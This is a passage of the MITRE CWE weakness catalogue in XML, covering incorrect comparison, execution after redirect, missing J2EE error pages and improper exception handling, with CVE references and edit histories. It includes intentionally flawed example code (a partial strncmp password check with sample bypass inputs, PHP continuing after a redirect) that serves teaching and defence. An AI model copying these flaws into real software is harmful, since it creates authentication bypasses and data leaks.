                     int authResult;<xhtml:br/><xhtml:br/>if (argc &lt; 3) {<xhtml:div style="margin-left:1em;">ExitError("Usage: Provide a username and password");</xhtml:div>}<xhtml:br/>authResult = AuthenticateUser(argv[1], argv[2]);<xhtml:br/>if (authResult == AUTH_SUCCESS) {<xhtml:div style="margin-left:1em;">DoAuthenticatedTask(argv[1]);</xhtml:div>}<xhtml:br/>else {<xhtml:div style="margin-left:1em;">ExitError("Authentication failed");</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>In AuthenticateUser(), the strncmp() call uses the string length of an attacker-provided inPass parameter in order to determine how many characters to check in the password. So, if the attacker only provides a password of length 1, the check will only examine the first byte of the application's password before determining success.</Body_Text>
               <Body_Text>As a result, this partial comparison leads to improper authentication (CWE-287).</Body_Text>
               <Body_Text>Any of these passwords would still cause authentication to succeed for the "admin" user:</Body_Text>
               <Example_Code Nature="Attack">
                  <xhtml:div>p<xhtml:br/>pa<xhtml:br/>pas<xhtml:br/>pass</xhtml:div>
               </Example_Code>
               <Body_Text>This significantly reduces the search space for an attacker, making brute force attacks more feasible.</Body_Text>
               <Body_Text>The same problem also applies to the username, so values such as "a" and "adm" will succeed for the username.</Body_Text>
               <Body_Text>While this demonstrative example may not seem realistic, see the Observed Examples for CVE entries that effectively reflect this same weakness.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2021-3116</Reference>
               <Description>Chain: Python-based HTTP Proxy server uses the wrong boolean operators (CWE-480) causing an  incorrect comparison (CWE-697) that identifies an authN failure if all three conditions are met instead of only one, allowing bypass of the proxy authentication (CWE-1390)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2021-3116</Link>
            </Observed_Example>
	   <Observed_Example>
               <Reference>CVE-2020-15811</Reference>
               <Description>Chain: Proxy uses a substring search instead of parsing the Transfer-Encoding header (CWE-697), allowing request splitting (CWE-113) and cache poisoning</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-15811</Link>
	   </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2016-10003</Reference>
               <Description>Proxy performs incorrect comparison of request headers, leading to infoleak</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2016-10003</Link>
            </Observed_Example>
         </Observed_Examples>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="10"/>
            <Related_Attack_Pattern CAPEC_ID="120"/>
            <Related_Attack_Pattern CAPEC_ID="14"/>
            <Related_Attack_Pattern CAPEC_ID="15"/>
            <Related_Attack_Pattern CAPEC_ID="182"/>
            <Related_Attack_Pattern CAPEC_ID="24"/>
            <Related_Attack_Pattern CAPEC_ID="267"/>
            <Related_Attack_Pattern CAPEC_ID="3"/>
            <Related_Attack_Pattern CAPEC_ID="41"/>
            <Related_Attack_Pattern CAPEC_ID="43"/>
            <Related_Attack_Pattern CAPEC_ID="44"/>
            <Related_Attack_Pattern CAPEC_ID="45"/>
            <Related_Attack_Pattern CAPEC_ID="46"/>
            <Related_Attack_Pattern CAPEC_ID="47"/>
            <Related_Attack_Pattern CAPEC_ID="52"/>
            <Related_Attack_Pattern CAPEC_ID="53"/>
            <Related_Attack_Pattern CAPEC_ID="6"/>
            <Related_Attack_Pattern CAPEC_ID="64"/>
            <Related_Attack_Pattern CAPEC_ID="67"/>
            <Related_Attack_Pattern CAPEC_ID="7"/>
            <Related_Attack_Pattern CAPEC_ID="71"/>
            <Related_Attack_Pattern CAPEC_ID="73"/>
            <Related_Attack_Pattern CAPEC_ID="78"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
            <Related_Attack_Pattern CAPEC_ID="8"/>
            <Related_Attack_Pattern CAPEC_ID="80"/>
            <Related_Attack_Pattern CAPEC_ID="88"/>
            <Related_Attack_Pattern CAPEC_ID="9"/>
            <Related_Attack_Pattern CAPEC_ID="92"/>
         </Related_Attack_Patterns>
         <Notes>
            <Note Type="Maintenance">
      			This entry likely has some relationships with case sensitivity (CWE-178), but case sensitivity is a factor in other types of weaknesses besides comparison.  Also, in cryptography, certain attacks are possible when certain comparison operations do not take place in constant time, causing a timing-related information leak (CWE-208).  
      		</Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Content Team</Submission_Name>
				<Submission_Organization>MITRE</Submission_Organization>
                <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Maintenance_Notes, Name, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
		<Modification>
		<Modification_Name>CWE Content Team</Modification_Name>
		<Modification_Organization>MITRE</Modification_Organization>
		<Modification_Date>2019-09-19</Modification_Date>
		<Modification_Comment>updated Relationships</Modification_Comment>
		</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Relationships, Type</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description, Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2018-03-27">Insufficient Comparison</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="698" Name="Execution After Redirect (EAR)" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The web application sends a redirect to another location, but instead of exiting, it executes additional code.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="705" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="670" View_ID="1000"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Alternate_Terms>
            <Alternate_Term>
               <Term>Redirect Without Exit</Term>
            </Alternate_Term>
         </Alternate_Terms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Other</Scope>
               <Scope>Confidentiality</Scope>
               <Scope>Integrity</Scope>
               <Scope>Availability</Scope>
               <Impact>Alter Execution Logic</Impact>
               <Impact>Execute Unauthorized Code or Commands</Impact>
               <Note>This weakness could affect the control flow of the application and allow execution of untrusted code.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Black Box</Method>
               <Description>This issue might not be detected if testing is performed using a web browser, because the browser might obey the redirect and move the user to a different page before the application has produced outputs that indicate something is amiss.</Description>
            </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code queries a server and displays its status when a request comes from an authorized IP address.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>$requestingIP = $_SERVER['REMOTE_ADDR'];<xhtml:br/>if(!in_array($requestingIP,$ipAllowList)){<xhtml:div style="margin-left:1em;">echo "You are not authorized to view this page";<xhtml:br/>http_redirect($errorPageURL);</xhtml:div>}<xhtml:br/>$status = getServerStatus();<xhtml:br/>echo $status;<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>This code redirects unauthorized users, but continues to execute code after calling http_redirect(). This means even unauthorized users may be able to access the contents of the page or perform a DoS attack on the server being queried. Also, note that this code is vulnerable to an IP address spoofing attack (CWE-212).</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2013-1402</Reference>
               <Description>Execution-after-redirect allows access to application configuration details.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2013-1402</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2009-1936</Reference>
               <Description>chain: library file sends a redirect if it is directly requested but continues to execute, allowing remote file inclusion and path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2009-1936</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2713</Reference>
               <Description>Remote attackers can obtain access to administrator functionality through EAR.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2713</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-4932</Reference>
               <Description>Remote attackers can obtain access to administrator functionality through EAR.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-4932</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5578</Reference>
               <Description>Bypass of authentication step through EAR.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5578</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-2713</Reference>
               <Description>Chain: Execution after redirect triggers eval injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-2713</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-6652</Reference>
               <Description>chain: execution after redirect allows non-administrator to perform static code injection.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-6652</Link>
            </Observed_Example>
         </Observed_Examples>
         <References>
            <Reference External_Reference_ID="REF-565"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Name, Observed_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2013-02-21">Redirect Without Exit</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="7" Name="J2EE Misconfiguration: Missing Custom Error Page" Abstraction="Variant" Structure="Simple" Status="Incomplete">
         <Description>The default error page of a web application should not display sensitive information about the product.</Description>
         <Extended_Description>
            <xhtml:p>A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.</xhtml:p>
            <xhtml:p>When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.</xhtml:p>
         </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="756" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Name="Java" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Application Data</Impact>
               <Note>A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Handle exceptions appropriately in source code.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Phase>System Configuration</Phase>
               <Description>Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Do not attempt to process an error or attempt to mask it.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Verify return values are correct and do not supply sensitive information about the system.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-76">
               <Intro_Text>In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {<xhtml:div style="margin-left:1em;">try {<xhtml:div style="margin-left:1em;">...</xhtml:div>} catch (ApplicationSpecificException ase) {<xhtml:div style="margin-left:1em;">logger.error("Caught: " + ase.toString());</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>J2EE Misconfiguration: Missing Error Handling</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-65"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Name, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2009-03-10">J2EE Misconfiguration: Missing Error Handling</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="703" Name="Improper Check or Handling of Exceptional Conditions" Abstraction="Pillar" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.</Description>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
            <Technology Class="Not Technology-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>Read Application Data</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
            <Detection_Method>
               <Method>Dynamic Analysis with Manual Results Interpretation</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Fault Injection - source code</xhtml:li>
                           <xhtml:li>Fault Injection - binary</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Forced Path Execution</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Manual Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Manual Source Code Review (not inspections)</xhtml:li>
                        </xhtml:ul>
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Focused Manual Spotcheck - Focused manual analysis of source</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Automated Static Analysis - Source Code</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Cost effective for partial coverage:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Source code Weakness Analyzer</xhtml:li>
                           <xhtml:li>Context-configured Source Code Weakness Analyzer</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>SOAR Partial</Effectiveness>
            </Detection_Method>
            <Detection_Method>
               <Method>Architecture or Design Review</Method>
               <Description>
                  <xhtml:p>According to SOAR, the following detection techniques may be useful:</xhtml:p>
                  <xhtml:div style="margin-left:1em;">
                     <xhtml:div>Highly cost effective:</xhtml:div>
                        <xhtml:ul>
                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                           <xhtml:li>Formal Methods / Correct-By-Construction</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR06-J</Entry_ID>
               <Entry_Name>Do not throw undeclared checked exceptions</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-567"/>
            <Reference External_Reference_ID="REF-568"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 8: C++ Catastrophes.&#34; Page 143"/>
         </References>
         <Notes>
            <Note Type="Relationship">This is a high-level class that might have some overlap with other classes. It could be argued that even "normal" weaknesses such as buffer overflows involve unusual or exceptional conditions. In that sense, this might be an inherent aspect of most other weaknesses within CWE, similar to API Abuse (CWE-227) and Indicator of Poor Code Quality (CWE-398). However, this entry is currently intended to unify disparate concepts that do not have other places within the Research Concepts view (CWE-1000).</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>CWE Content Team</Submission_Name>
               <Submission_Organization>MITRE</Submission_Organization>
               <Submission_Date>2008-09-09</Submission_Date>
		<Submission_Comment>Note: this date reflects when the entry was first published. Draft versions of this entry were provided to members of the CWE community and modified between Draft 9 and 1.0.</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Name, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
